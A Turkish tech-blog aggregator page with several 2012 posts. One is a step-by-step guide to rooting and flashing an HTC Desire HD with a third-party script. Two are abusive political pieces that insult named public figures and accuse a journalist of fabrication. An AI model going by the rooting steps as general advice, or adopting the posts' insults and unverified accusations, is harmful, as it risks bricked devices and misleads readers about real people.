<include name=”**/*.jrxml”/>
</jrc>
</target>

Burada  taskdef  tag’i içine jasper raporlarının derlenmesi için gerekli olan java kütüphanesinin adı ve class path’i yazılır.

srcdir : Adından da anlaşılacağı gibi kaynak dizinimizdir. Yani .jrxml uzantılı raporlarımızın bulunduğu dizin.

destdir: Derlemeden sonra oluşacak .jasper uzantılı raporlarımızın gideceği dizin.

tempdir: Derlemeden sonra oluşacak diğer dosyaların kopyalanacağı dizin.

Daha sonradan build.xml ‘in olduğu dizinde bir konsol açıp “ant buildjasper” (*) komutunu yazarak raporlarınızı derleyebilirsiniz.

* buildjasper : ant betiğinde ki target name’i.




HTC Desire HD – Stock ROM’dan Custom ROM’a. Root, S-OFF ve Flash


Android’in güzel özelliklerinden biri, etrafta farklı modlarının olması. Bu modların çoğu daha fazla kişiselleştirilebilirlik, daha uzun pil ömrü ve işlemcinin daha verimli kullanımını vaat ediyor, bir kaç büyük mod bunları verebiliyor da.

Ne yazık ki iki dezavantajı var, ilki S-OFF sırasında veya bootloader ile uğraşırken telefonun kullanılmaz hale gelmesi. Çok küçük bir ihtimal ve de indirilen imajların md5′i kontrol edilerek ve telefonun şarjının bitmeyeceğinden emin olunarak ihtimal sıfıra yaklaştırılabiliyor. Ancak yine de bir ihtimal olduğu kesin.

İkinci dezavantajı ise, yazılımı değiştirilmiş telefonların garanti kapsamı dışında kalması. Tabi bu biraz da servisin insafına kalmış bir şey, internette sorun yaşamayanları da okudum, ve ayrıca, stock rom’unuzun imajını alırsanız eğer bu işlemlerden önce, garantiye işiniz düştüğünde tekrar yükleyebilirsiniz, bu sayede telefonunuzu orjinal yazılımı ile garantiye gönderebilirsiniz.

Tekrar uyarılar:

  • Aygıtınız garanti kapsamından çıkacaktır.
  • Bazı işlemler yarıda kesilirse telefonunuzun kullanılmaz hale gelme ihtimali vardır.
  • Telefon hafızanız temizlenecek, indirdiğiniz programlar, rehberiniz, mesajlarınız silinecektir.
  • Oluşabilecek herhangi bir sorunda yardım etmeye çalışmama rağmen hiç bir sorumluluk kabul etmem.

İşlemlere gelince, özellikle Root ve S-OFF için internette onlarca yöntem bulabilirsiniz. Ancak modelinize göre aratmayı unutmayın, örneğin HTC Desire HD’de bir firmware’den sonra işlem engellenmiş, önce downgrade yapmanız gerekebiliyor, neyse ki bu yöntemde bu otomatik olarak yapılacaktır. Ben Visionary kullanarak ve anlatacağım script ile denedim, başıma bir şey gelmedi.

Script Linux, Windows ve büyük ihtimalle MacOS üzerinde çalışıyor, yazarı Ubuntu 32 bit LiveCD önermiş, ben 64 bit Arch Linux üzerinde sorunsuz çalıştırdım, tabi ki multilib deposu kurulmuş olarak.

Yöntem xda-developers’ın şu başlığında. Aslında birbirinden bağımsız olan işlemleri otomatikleştirmiş bir script, başarılı da çalışıyor.

Scripti şu linklerden edinebilirsiniz:

Download:

US Mirror: aahk-13012012.zip
EU Mirror: aahk-13012012.zip
md5: d04975c6d085419c7c15f6d1934f7852

Arşivi açtıktan sonra effen-manual.html dosyasını web tarayıcınız ile açın ve okuyun, büyük önem taşıyor bu, talimatları daha ayrıntılı şekilde oradan okuyabilirsiniz. Script geliştiricisi de bu nedenle script çalıştırılınca bir şifre istiyor ve de şifreyi nasıl öğreneceğiniz o manual’de gizli, ben de bu kuralı bozmayıp şifreyi nasıl edineceğinizi söylemiyorum, manual’i okumayı ihmal etmeyin.

Artık başlayalım. Telefonunuzun şarjının dolu olduğuna emin olduktan sonra USB ile bilgisayarınıza bağlayın ve USB Debugging’i aktifleştirin(Settings – Applications – Development – USB Debugging). “hack-ace.sh” betiğini terminalden çalıştırın, şifreyi girin ve “Hack Ace” seçeneği ile devam edin. Programdan onay alana kadar telefonunuza dokunmayın, bir şey soruyor gibi görünse de, işlem tamamen otomatik. İşlemler uzun sürebilir, dert etmeyin, arada bir yerde hata verecek, altında hataların normal olduğu yazıyor, Don’t Panic :D .

Telefonunuz açılınca programlara root hakkı verebilme yeteneğine sahip olacaksınız, root isteyen prgramları çalıştırmak için yeterli, eğer amacınız sadece istediğiniz programları çalıştırabilmek ise, buraya kadar yeterli. Eğer Custom ROM yükleyecekseniz, devam edin.

Ben de aslında pek denemedim ROM’ları, xda-developers’ın ilgili sayfasında onlarca mod ve onların yüzlerce türevini bulabilirsiniz, ancak denediklerim arasında şöyle bir karşılaştırma yapabilirim.

1 – CyanogenModhttp://www.cyanogenmod.com/

En bilinen mod, maksimum düzeyde kişiselleştirilebilirlik veriyor. Geniş bir ayar menüsü var, gerçekten en iyi mod olabilir. Android’in standart arayüzüne bir kaç ufak opsiyonel ekleme ile geliyor, HTC Sense bulunmuyor, benim için bir kötü yanı bu.

Diğer bir kötü yanı da, denediğim diğer ROM’lara nazaran biraz daha yavaş kalması, hala Stock ROM’dan hızlı ama bazen çok ufak takılmalar hissedebiliyorsunuz efektlerde, ama vazgeçemeyeceğiniz bir çok özellik bulabilirsiniz, bu yüzden ne olursa olsun denemenizi öneririm.

2 – MIUIhttp://miuiandroid.com/

Çin temelli bir ROM, arayüzü büyük miktarda uyarlanmış. Bu ROM da arayüzünün iPhone’a benzemesi yüzünden eleştiriliyor, ama bana göre en iyilerden biri arayüzü. iPhone tarzı diyaloglar hoş görünmesine rağmen çok kopya hissi uyandırsa da, aynı zamanda gerçekten sade ve anlaşılır. Aradığınız şeyi hemen bulabiliyorsunuz.

Bazı çok kullanışlı ayarlar sunmasına rağmen, çok da kişiselleştirilebilir değil. Hiç bir yavaşlığına rastlamadım, ancak şöyle bir şey var ki Cyanogen kadar stabil değil, örneğin kamera uygulamasında yer yer yeşil bölgelere rastladım ben, ancak üzerine de çok düşmedim.

3 – Android Revolution – Güncel sürüm: http://forum.xda-developers.com/showthread.php?t=840040 Yansı: http://www.androidrevolution.nl

HTC Desire HD ve bir iki türevi için geliştirilmiş bir ROM. HTC Sense 3.0 üzerine arayüzde pek bir değişiklik yapılmadan sunulmuş, daha çok pil ömrü ve performans üzerine gidilmiş. Bunu gerçekten de hissedebiliyorsunuz, bütün efektler açık olmasına rağmen en ufak bir yavaşlık yok.

Benim şu an seçtiğim ROM bu, hiç bir sorun yaşatmadı ve hızlı.

Eğer siz de bu ROM’u seçerseniz BlueHD temasını öneririm. Her ne kadar adı tema olsa da, bir sürü UI güncellemesi ve Beats Audio desteği de getiriyor.

Not: Aynı zamanda Sense içermeyen bir sürümü de var, eğer Sense arayüzü size hantal geliyorsa.

Yukarıdaki bütün ROM’lar ile optimize edilmiş bir kernel, işlemciyi overclock edebilme imkanı(Revolution overclock edilmiş halde geliyor) ve dinamik olarak işlemci frekansı ayarlama yeteneği kazanıyorsunuz, onlarca anlamadığım özelliğin yanında :D .

Herhangi birini seçtikten sonra ROM’u flashlamak için yapmanız gereken şey aynı; ROM’un sayfasında ekstra bir step veya aksi belirilmediği sürece:

  • ROM’un sayfasından telefonunuza uygun arşivi indirin, indirdiğiniz zip dosyasının MD5 kontrolünü yapın.
  • İndirdiğiniz dosyayı hafıza kartınızın tercihen kök klasörüne atın.
  • Telefonunuzun şarjının dolu olduğundan emin olduktan sonra, telefonunuzu kapatıp ses kısma tuşu ile power tuşuna birlikte basarak açın ve bootloader gelene kadar devam edin.
  • Bootloader’ın açılmış olması gerek. Eğer önceki işlemi başarı ile tamamladıysanız bu ekranda S-ON yerine S-OFF görmelisiniz. Flash işlemini yapacağımız CWM’ye girmek için “BOOTLOADER” – “RECOVERY” yolunu takip edin. Ses açma ve kapama tuşlarıyla menüde ilerleyebilir ve power tuşuyla seçim yapabilirsiniz.
  • Karşınıza gelen yer ClockWordMod Recovery’dir. Buradan Flash işlemlerinizi yapabilirsiniz. Öncelikle temiz kurulum için Wipe Data ve Wipe System adımlarını uygulayın. Telefonunuzdaki bütün bilgiler silinecektir, hafıza kartınıza dokunulmadan.
  • Ardından “install from sdcard” – “choose zip from sdcard” komutları ile hafıza kartınızdan arşivi seçin ve uygulayın.
  • Modunuz kurulduktan sonra “reboot” ile telefonunuzu yeni ROM ile başlatabilirsiniz. Çoğu ROM’un ilk açılışı zaman alır, sonraki açılışlar hızlı olacaktır.
  • Eğer ROM’unuza bir modifikasyon flashlayacaksanız(Android Revolution’a BlueHD gibi), öncelikle ROM’unuzla telefonunuzu bir kere çalıştırın, hemen flashlarsanız sorun yaşayabileceğiniz yazıyor.

Eğer bütün işlemleri başarıyla bitirdiyseniz, yeni ROM’unuzla başbaşasınız demektir, iyi eğlenceler :)

Related posts:

  1. Android Scripting ile Python
  2. HTML5 video vs Flash
  3. Mysql Search and Replace



Zyxel NWD 2205 USB Kablosuz Sürücüsü (Realtek 8192cu)


Realtek’in yakın zamanda piyasaya sürdüğü ve fiyat/performans bakımından oldukça verimli ürünü 8192cu’nun sürücüsünü eğer çekirdeğin 3.2 sürümünü kullanmıyorsanız doğrudan çalıştıramıyorsunuz.

Zyxel NWD 2205 de Realtek’in bu çipsetini kullanıyor. Dolayısıyla bu yazı doğrudan NWD 2205 kullanıcılarına da hitap ediyor.

2.6.18′den 3.1 sürümüne kadar olan tüm çekirdekleri destekleyen sürücüsünü Realtek’in web sitesinden indirebilirsiniz.

İndirdiğiniz dosya bir çekirdek modülünün kaynak kodu olduğu için ve bu çekirdek modülünü derlemek için öncelikle kullandığınız çekirdek için headers paketini kurmalısınız. (Mesela Pardus üzerinde kernel-headers paketi.)

Daha sonra kaynak kodu bir dizine açıp; o dizine girdikten sonra şu komutları vermeniz yeterli:


make
(root değilseniz, sudo) make install

Daha sonra modprobe 8192cu komutunu vererek kablosuz aygıtını kullanmaya başlayabilirsiniz. 3.2 serisi çekirdekte sürücü çekirdeğe dahil olduğu için bu işlemleri yapmanıza gerek bulunmuyor.



31 January 2012

.svn Dosyalarını Silin Gitsin!


Svn de duran bir proje dizininden ve onun alt dizinlerinden .svn dizinlerini silmek isterseniz yada buna ihtiyaç duyarsanız bir kaç değişik komutla bunu halledebilirsiniz.

  1. $ rm -rf `find . -type d -name .svn`
  2. $ find . -name “.svn” -exec rm -rf {} \;
  3. $ find . -name .svn -print0 | xargs -0 rm -rf
  4. $ find . -type d -name ‘.svn’ -print0 | xargs -0 rm -rdf

Buyrunuz efendim.

Kaynak: http://anilozbek.blogspot.com/




30 January 2012

LESS dosyalarınızı anlık css'e çevirin



Less


Less dosyalarıyla çalışıyorsanız ve eğer arayüz geliştiriyorsanız yazdığınız kodu tarayıcıda anlık olarak görmek isteyeceksiniz. Less dosyalarını kaydettiğiniz gibi derleyen aşağıdaki araçlarla hangi platformda çalışıyor olursanız olun otomatik olarak derletebilirsiniz.

Less derleyicilerini toparladığım ufak bir yazı hazırladım: http://mfyz.com/dokuman/127/less-dosyalarinizi-anlik-csse-cevirin

29 January 2012

Rblsmtpd – Custom Whitelist ve Blacklist Tanımlamaları


sistemlerde rblsmtpd ile block list kontrolü yapmak mailleri engellemek adına tek başına bile olukça yeterli bir yöntem olsa da bazen false positive durumlar oluşabilmekte ve aslında gönderim yapmayan yerlerden gelen maillerin de engellenmesine neden olabilmektedir. Örnek olarak son zamanlarda Google App Engine kullanılarak gönderilen mailler nedeni ile google ipleri bazen spamcop, sorbs ya da spamhaus gibi major block listlerine girebiliyorlar ve bunun sonucu olarak da gmail’den gönderilen mailler rblsmtpd’ye takılarak reddedilebiliyor.

İşte bu gibi konuların önüne geçmek için bir whitelist oluşturup bu listeye örneğin google’a ait tüm ip adreslerini eklemek ve bu iplerden gelen bağlantılarını rblsmtpd kontrolünden muaf tutmak yerinde bir tutumdur. Daha önce Rblsmtpd Yapılandırması isimli bir yazı yayınlamıştım; bu yazıda ise rblsmtpd için whitelist ve custom blacklist yapılandırma işlemlerinden bahsetmek istiyorum.


Devamini okuyun: Rblsmtpd – Custom Whitelist ve Blacklist Tanımlamaları


Cagri Ersen tarafından Syslogs adresinde yayınlandı. | Permalink | Etiketler: , ,



William Gates’in yancısı Pinokyo Burunlu Özkök


Davos, mutad toplantı nedeniyle yine bir foseptik çukuru halinde birkaç gündür; okuyoruz aktarılan kadarını.

TÜSİAD üyesi ve Hürriyet yazarı Ertuğrul Özkök de orada. Köşesinden, izlenim yazmış.

Yazısının “Evet Davos’un ciddi kulisleri böyle” dediği yere kadarki kısmında ciddi olan nedir, dişe dokunur ne vardır, okuyanın insafına, değerlendirmesine bırakıyorum. Hemen ardından eklemiş: “Şimdi gelelim gecenin asıl sürprizine.” Hadi gelelim!

SG Trip“Bill Gates’in kurduğu yardım kuruluşu olan ‘Global Fund’ın çerçeveli yemeğine bir uğrayayım” demiş Özkök ve “iyi ki uğramış”mış.

Bence de isabet olmuş, çünkü William Gates’i önemserim; yaşamının farklı cephelerine Özkök kaleminden bile olsa, kısa bakışlar atmanın zararı olmuyor. Gates’in, kendisine yenilerde yakıştırılan “hayırsever” (”philanthropist” diyorlar İngilizce) sıfatının gereklerini yerine getirirkenki çevresini biraz tanımak, iyi bir şey ne de olsa. Hayırseverliğe giriş dersi olarak da okunabilir.

Özkök yazıyor: “Kapıda eski İngiltere Başbakanı Tony Blair ve eşiyle karşılaştık. Onlar da Rebekah Brooks’un iyi arkadaşı olduğu için, bir süre yeni doğan çocuğunu konuştuk.” Blair çifti gibi, Özkök’ün de “iyi arkadaşı” olan bu Rebekah Brooks, hatırlayalım, gizli telefon dinletmeleri nedeniyle başı belaya girip, işi bırakmak zorunda kalan, Rupert Murdoch adlı medya patronunun bir dönem sağ kolu, “manevi evladı”, pis işler müdiresi bir kişi. William Gates’in hayır işinin yemek daveti kapısında, davetlilerden üçü bu ortak arkadaşlarının yaptığı doğumdan falan konuşuyorlar. Filantropi böyle bir şey: yoğun duygusal ortam daha girişte insanları etkilemeye başlıyor, kriminal ahbaplar hatırlanıyor.

SG TripÖzkök yazıyor: “Tam o sırada kapıdan biri girdi ki ne diyeceğimi şaşırdım. Rolling Stones’un efsane solisti Mick Jagger… Bütün hayatım boyunca beni en çok etkileyen müzisyen…” Öyle diyorsa, etkilemiştir; orası benim konum değil. Ama, Rolling Stones konserinde olmadığımıza göre ve Özkök’ün hayran hayran Jagger’ın pembe gömleğinden, kırmızı spor ayakkabılarından, “Çok ‘cool’ bir adam” oluşundan söz etmesinden de anlaşılacağı gibi konu müzik dışına zaten kaymış, “davetli bir kişi” olarak Jagger bahsine gelmiş madem: Bu şahıs müptezelin biridir. Bana inanmayın bu konuda, ben az bilirim de; örneğin Keith Richards adamını biraz bilir herhalde; kitabını yazmış konunun! Bu Mick Jagger, Microsoft’a, Windows 95′in pazarlama kampanyasında kullanmaları için şarkı satmamış mıydı, milyon dolarları cebe indirip? Satmıştı. İşte şimdi de, Gates’in bir başka tanıtım etkinliğinde boy gösteriyor, konu mankenliği yapıyor. Yukarıda da görmüştük, filantropi çevrelerinde ahbaplıklar sağlam oluyor.

Özkök yazısının ilerleyen kısımlarında anlatıyor: “Yemeğin sonuna doğru, Global Fund’ın pazarlama direktörü Claudia Gonzales kulağıma eğildi ve ‘Sakın ayrılma, buradan ilginç bir yere gideceğiz’ dedi. Gece yarısına doğru birlikte çıktık ve kaldığım Schatzalp Oteli’nin arkasındaki şaleye gittik. Orada küçük bir salonda beni hayatımın en büyük sürprizlerinden biri bekliyordu. ‘Rolling Stones’un kuruluşunun 50. yıldönümü partisi’ yapılıyordu. Otuz kişilik küçük bir partiydi.” “Global Fund” dediği, William Gates’in “hayır kuruluşu”. Hayır işinde “pazarlamacı” çalıştırılması kulağınıza garip gelirse, takılmayın fazla; filantropi işlerine sizin aklınız ermez. İyi ama Gates’in bu hayır pazarlamacısı, elin adamının grubunun yaşgünü için niye masalardan adam topluyor, kafasına göre? Ona ne? Türkçesi, bu defa da Rolling Stones adını, geçmişini pazarlıyor bu kadın, patronu namına. Biricik filantropi; sen ne yüce bir şeymişsin! Zaten öte türlü, Rolling Stones’un 50. yılı kutlanacak ve ona da hepi topu 30 kişi çağrılacak ve onlardan biri de Ertuğrul Özkök olacak, ha! Diğerleri de Arthur Sulzberger, Jill Abramson, hele hele Kai Diekmann gibiler olacak! İşin aslı: Claudia Abla, sadece yemeğe katılmasını sağlamakla Mick Jagger’ın etinden, sütünden gereğince faydalanamadıklarını düşünüyor; bastırıp parayı bir dağ köşkü kiralıyor, otuz kişi doldurup içeri; biraz içki, biraz müzikle eğlendirmek istediği insanlara Mick Jagger satıyor. Ama yalan yok, pazarlama elemanı cevval. Ben William Gates’in yerinde olsam, bunu elden çıkarmamaya gayret ederim. Jagger, zaten bu işlere itirazı olan bir tip değil; anlaşılan. Uzatmayalım: Jagger da böyle bir konuk işte.

Dağ köşkünden tekrar yemeğe dönüp, Özkök’den dinleyelim:

SG Trip“Biraz sonra yemek başladı. Birinci masada Birleşmiş Milletler Genel Sekreteri Ban Ki-moon, Bill Gates, Tony Blair’in eşi ve Georges Soros oturuyor. Onun hemen yanındaki masanın başında ben oturuyordum. Sol yanımda Norveç Kralı, sağ yanımda ise eşi vardı. Hayatımda bu kadar sempatik ve alçakgönüllü iki insan görmedim. Ben daha otururken, çok sıcak bir ifadeyle merhaba dediler. Arkamdaki masada Mick Jagger oturuyordu. Biraz sonra fırsatını bulup o masaya geçtim.”

Birleşmiş Milletler dediklerinin ne menem bir teşkilat olduğu, başına hiç şaşmadan ne karakterde şahıslar getirildiği zaten belli; Ban Ki-moon da yakışmış yemeğe. Soros için hiç bir şey demiyorum, ne söylesem eksik olur; değerlendirmenize bırakıyorum. Fotoğrafta da göreceksiniz, William Gates sağına oturtmuş George Soros’u. Ağaya saygı, o derece.

Geçerken söylemiş olayım: Birleşmiş Milletler Web sitesine inanılırsa, yemek davetine Ban Ki-moon ve William Gates birlikte evsahipliği yapmış. Protokolünüzü sevsinler! Yemek William Gates’in yemeği. Davetiyeye Ban Ki-moon’un adını, “BM Genel Sekreteri” ünvanı gösterişli olur diye yazmışlardır. Bizde de oluyor ya: Cumhurbaşkanımızın himayelerinde… O hesap. BM Web sitesinden başka “ortaklaşa evsahipliği”ni ciddiye alıp da yazan yok ha. O protokolün bir iyi yanı şu oldu: Yemekten üç dört kare fotoğraf, BM Web alanında bulunuyor. Basına fotoğraf çekme izni verilmemiş; belli. Nihayetinde, Gates davet sahibi, Soros da onun sağında oturuyor.

SG Tripİyi hoş da, Ertuğrul Özkök’e niye Pinokyo Burunlu dedim başlıkta? Şundan: Özkök’ün solunda bir adam, sağında onun karısı oturuyormuş ya; hani Özkök hayatında bu kadar sempatik insanlar görmemişmiş. Özkök’e “merhaba” diyen çift canım. Kim onlar? Özkök’e kalırsa, “Norveç Kralı ve eşi”. Bana kalırsa, değil. O gün kralın eşi (kraliçe diyelim artık şu kadına; Kraliçe Sonja) memleketinde Kanada’yla ilgili bir resim sergisi açılışındaydı. Adam o gün ne yapıyordu bilemem; bir gün önce kayak yarışı mıdır nedir, öyle bir etkinlikte olduğu için, muhtemelen, sarayda yorgunluk atıyordu.

Fotoğrafta o sandalye görünmüyor, Özkök’ün gerçekten o yemekte olduğu ve sağında solunda Norveç kraliyet ailesinden birilerinin oturduğu varsayımıyla yazıyorum: Ertuğrul Bey’in solundaki kişi Norveç Veliaht Prensi Haakon, sağındaki de onun karısı Mette-Marit. Prens, Davos tezgahının “gençlik örgütü” gibi bir zımbırtıyla uğraşıyor; Türkiye’den Egemen Bağış, Özlem Denizmen gibi kişilere “Genç Küresel Lider” sıfatları dağıtıyorlar. Karısı, biraz saf gibi, Twitter’ın hoşluklarını keşfetme sürecinde olduğunu, William Gates’in ne kadar iyi bir insan olduğunu falan anlatıyor gazetecilere. Çift bu. Ortada kral yok, kralın eşi yok; var da, onlar Oslo’da. “Bir gün, sağımda kraliçe, solumda kral; lâflıyoruz; sonra ben bunlardan sıkıldım; arka masadaki şarkıcının yanına geçtim” durumu söz konusu değil.

Bu uydurmayı yazan da, davetlilerden TÜSİAD üyesi ve büyük gazeteci olanı.

Hepiniz birbirinize o kadar yakışıyorsunuz ki!

Not 1: Özkök’ten yaptığım alıntılarda, orijinal yazıda her cümle bir paragrafa dönmüş düzeni bozdum. Bitiştirdim. Alıntı raconuna uymuyor belki ama geri zekalılar tarafından geri zekalılara uygun istifte yazılmış yazıları böyle alıntılayacağım. Öte türlü, yere yazık oluyor.

Not 2: Yemek, gerçek filantroplara yaraşır bir sadelikte cereyan etmiş gibi. Özkök’un olduğunu düşündüğümüz yerin önünde, onunla çağla kral ve çağla kraliçenin orta yerine bakarsanız masadaki tek yiyeceğin, küçük bir tabak domates dilimleri ortasına iki kaşık haydari gibi bir şey olduğunu görebilirsiniz. Kendi sorunlarımı unuttum, adamlara üzüldüm. Burada üçüncü sınıf pavyonlarda daha iyi ve bol meze var. Gates’le Soros’un masa da aynı. Adamlar yumruk mezesiyle içiyor şarabı. Ama, helal olsun; hayırsever yemeği böyle olmalı. Pazarlamacı Abla, o kısmı doğru ayarlamış.

Not 3: Sayın Özkök, siz o “henüz kraliçe olmamış ama muhtemelen ileride olacak” kadını bir daha gördüğünüzde söyleyin, saçı her ne renkse, sarıya (veya daha sarıya) boyatmaktan vaz geçsin. Norveç gibi yerde, sarıysan sarısın zaten, tonunu elleme; değilsen, daha iyi, doğal olarak değişiksin. Yapmasın öyle. Boyaya vereceği parayı, hayır kumbarasına katsın. Bak kocası hesabî adam; akşam yemeğine giderken gündüz giydiği ceketi, gömleği bile değiştirmiyor.



27 January 2012

Apple’ın her donanımcıdan farkı


Ortun Kartın arkadaşımız İşçilerin kanıyla üretilen iPad başlıklı yazıma yorum yaptı; teşekkür ediyorum. Şöyle yazdı: “Burada daha önemlisi Foxconn sadece iPad için mi üretim yapıyor? Yoksa her aldığımız netbook, notebook ve tablet PCnin de içindeki parçaların ana üreticisi değil mi?”

Yorumunun altına, “Son derece geçerli bir soru. Yazı sonuna bu konuya bakışıma ilişkin bir ek yazıyorum” diye not düşmüştüm. Sonra baktım, o ek epey uzadı ve epeydir yazmak istediğim bir başka mecraya girdi ve sadece o soruya yanıt olmaktan çıktı; ayrı yazı yapıyorum.

Üç maddede açmayı deneyeceğim fikirlerimi:

1- İrice kapitalistler olan donanım üreticileri
a) Tamamı bakımından, işçi emeği sömürüsüne dayanıyor zaten. Kârın başka bir kaynağı yok.
b) Bunlardan bir kısmının -elimde istatistik yok ama çok önemli kısmının diyelim- insanlığın geldiği noktadaki, kapitalizm çerçevesinde dahi uyulması “norm” sayılan, işçi hakları, üretim güvenliği ve işçi sağlığı standartlarını hiç dikkate almadan üretim yapıyor oldukları belli. Bu hallerin “haber değeri taşıyan” örnekleri ortaya çıktıkça da -eh işte- haber oluyorlar. Bu noktada, “o yapıyor da beriki yapmıyor mu” diye tartışmak anlamsız. Hepsi yapıyorsa, mesele kalmamış mı olacak? Evet, bu bir “sistem sorunu” ve aşağıda Özgür Yazılımcılar’ın günlük hareket tarzı bakımından söyleyeceklerimden bambaşka çözüm yolları var; işlerin böyle yürümemesi gerektiğini düşünen kişilerin, işlerin değişmesinden çıkarı olan sınıf ve kesimlerin takip etmesi gereken yol ve yöntemler var; o tamamen ayrı tartışma.
c) Ama yine de, donanım üreticilerinin bazıları, veya zaman zaman bazıları, işçi düşmanı özellikleriyle öne çıkıyorlarsa, onlara da, “sistemin değişmesini” beklemeden, “özel ilgi” göstermek lazım. Öyle yapmak lazım ki, bu düzende de, demokratik haklardan, işçi haklarından geri gidilmesin ve yeni bir dünya için kuvvet alacağımız zeminler zayıflamasın. Apple çok çıkıyor karşımıza, bu özellikleriyle. Var bir bozukluk bu şirkette; özel bir bozukluk var.

2- Özgür olan veya olmayan yazılımla ilgilenen kişilerin, yazılım üretme veya ondan keyif alma araçlarının da kimler tarafından, ne pahasına, nasıl üretildiğine ilişkin gerçeklere başka şeylere olduğundan daha fazla kulak kabartması doğal.

3- Blogumda dünyanın her sorununu çözmeye çalışmıyorum. Zaman zaman bazı siyasi ve ideolojik çeşitli konulara temas etsem de, her konuya değiniyorum sayılmaz ve zaten yazdığım yazı sayısı da pek az. En çok Özgür Yazılım’a ve haliyle karşıtlarına değiniyorum. Bu çerçevede, özellikle son dönemde, Steven Jobs öldükten sonra diyelim, Apple’a, bu şirketin ürünlerine ve işleyişine dair daha yoğunlukla yazdım. Yazdıkça da açılıyorum belki ve bu özel konuda daha da yazacağım gibi duruyor. Benim notlarım bitmiyor, Apple’ın her gün yeni bir insanlık düşmanı eylemi ortaya çıkıyor.

Yukarıda değindiğim bir önceki yazım da, bu dediğim özel merak çerçevesinde hazırlandı.

Steven Jobs öldükten sonra, burjuva basınından, dünya egemenleri kanadından güzellemeler ve sümük-mendil sesleri yükseldi. Beklenen şey. Geniş kitlelerden bu soytarılığa kapılanlar da çok oldu. Hüzün verici ama çok beklenmedik iş değil. Düzen sırf sopayla yürümez, ikna ve ideolojik hegemonya şarttır; buna bile ikna ettiler çok zavallıyı. Nihayetinde, adam için ağlayan da çok oldu ve şirketinin bokunda boncuk bulan da çok oldu. Tamam.

Ama bir de şu oldu: Yolu Özgür Yazılım’la bir şekilde kesişmiş, hatta belki kendisini “Özgür Yazılım destekçisi” olarak tanımlayan kimi insandan da, kendisini insanlığın, emeğin özgür geleceğinden yana tanımlayan kimi insandan da Jobs ağlaşması, Apple güzellemesi duyduk.

Apple benim için herhangi bir donanım üreticisi değil. Donanımla birlikte sahipli yazılım üretiyor/satıyor ve Özgür Yazılım’ın önündeki en büyük engellerden biri. Benim düşmanım. Donanım alanında, yazılımdaki gibi bir özgürlük hareketi yok elbette, işlerin doğası çok farklı, donanım konusu yukarıda söz ettiğim “sistem” çözümüne bağlı büyük ölçüde ama yazılımdaki özgürlük hareketi, bugünden çok ileri mevziler elde etme olanağına sahip ve elde ediyor da.

Dolayısıyla, bu mücadelenin içindeyken, ben, Özgür Yazılım’ın hedeflerine, düşmanlarına her zaman ayrı bir dikkat göstereceğim. Göstermeye gayret ediyorum. Sahipli yazılımın ağababalarından biri, aynı zamanda meyve suyu üretiyorsa, o meyve suyunu içmeyeceğim örneğin. Donanım üretiyorsa, almayacağım. Hele hele, donanımla birlikte yazılımı da otomatiktan veriyorsa, hiç almayacağım. O hayali meyve suyunun içinden böcek çıkıp çıkmadığını özel olarak kontrol edeceğim; diyelim.

Her şirketin işçi düşmanı yüzünü ve uygulamalarını göz önüne sereceğiz mutlaka ama ben, kişisel olarak, bu söz ettiğim sahipli yazılım devleriyle ayrı bir uğraşacağım; gücüm yettiğince. Bu heriflere karşı karınca kararınca kampanya yapmaya çalışıyorum; çalışıyoruz.

Uzakdoğudaki her fabrikadaki işçi ölümü içimi sızlatır. Bunları blogumda yazmıyorum. Hangi birini yazayım? Ama Apple’ınkileri yazacağım. Biz de bu alanda özelleşelim, oldu olacak.

Arkasından gözyaşı döktükleri şahıs neyin nesiymiş, kurduğu tezgah nasıl işliyormuş, herkes biraz daha ve bir kere daha anlasın; fena mı?

Her uygun fırsatında, bunların tezgahlarına ve mezarlarına tüküreceğiz. Onlar bizi boğmak istiyor. Beceremezler. Biz onları boğacağız.



İşçilerin kanıyla üretilen iPad


Sol Haber Portalı’nda 27 Ocak 2011 tarihinde yayınlanan iPad ‘kural tanımaz’! başlıklı yazının spotu ve ilk paragrafı şöyle:

The New York Times gazetesi Apple’ın Çin’deki tedarikçilerindeki çalışma koşullarını tartışmaya devam ediyor. Elektronik tekeli tedarikçileri düzenli olarak denetlediğini ve bir iş ahlakı tüzüğüne tabi kıldığını söylese de yüksek kârı bütün değerlerin üzerinde tutuyor.

The New York Times gazetesi başta Apple olmak üzere tüketici elektroniği üreten firmaların Çin’deki tedarikçileriyle ilişkilerine ve bu ülkedeki çalışma koşullarına ilişkin yazı dizisine dün de devam etti. Çengdu’da iPad çerçevesi üreten bir fabrikada gerçekleşen patlamanın hikayesiyle başlayan 25 Ocak tarihli yazı, Apple gibi uluslararası tedarik zincirleriyle üretim yapan elektronik tekellerinin kurallı çalışma ve iş güvenliği ilkelerinin sistematik bir şekilde ihlal edilmesini nasıl görmezden geldikleri hakkında çarpıcı veriler sunuyor.

Haber uzun, özenle hazırlanmış ve dileyen devamını yayınlandığı yerde okuyabilir.

Biraz baktığımda, Sol’un söz ettiği gibi bir yazı dizisinden ziyade, 25 Ocak’ta The New York Times’ın Web sürümünde ve 26 Ocak’ta da gazetenin New York baskısında -sanırım biraz değişiklikle- yayınlanan tek bir yazı varmış izlenimi edindim. Belki benim göremediğim başka bir şeyler vardır bir yerlerde. Web’de bulabildiğim -kaynak?- İngilizce yazı şuradadır.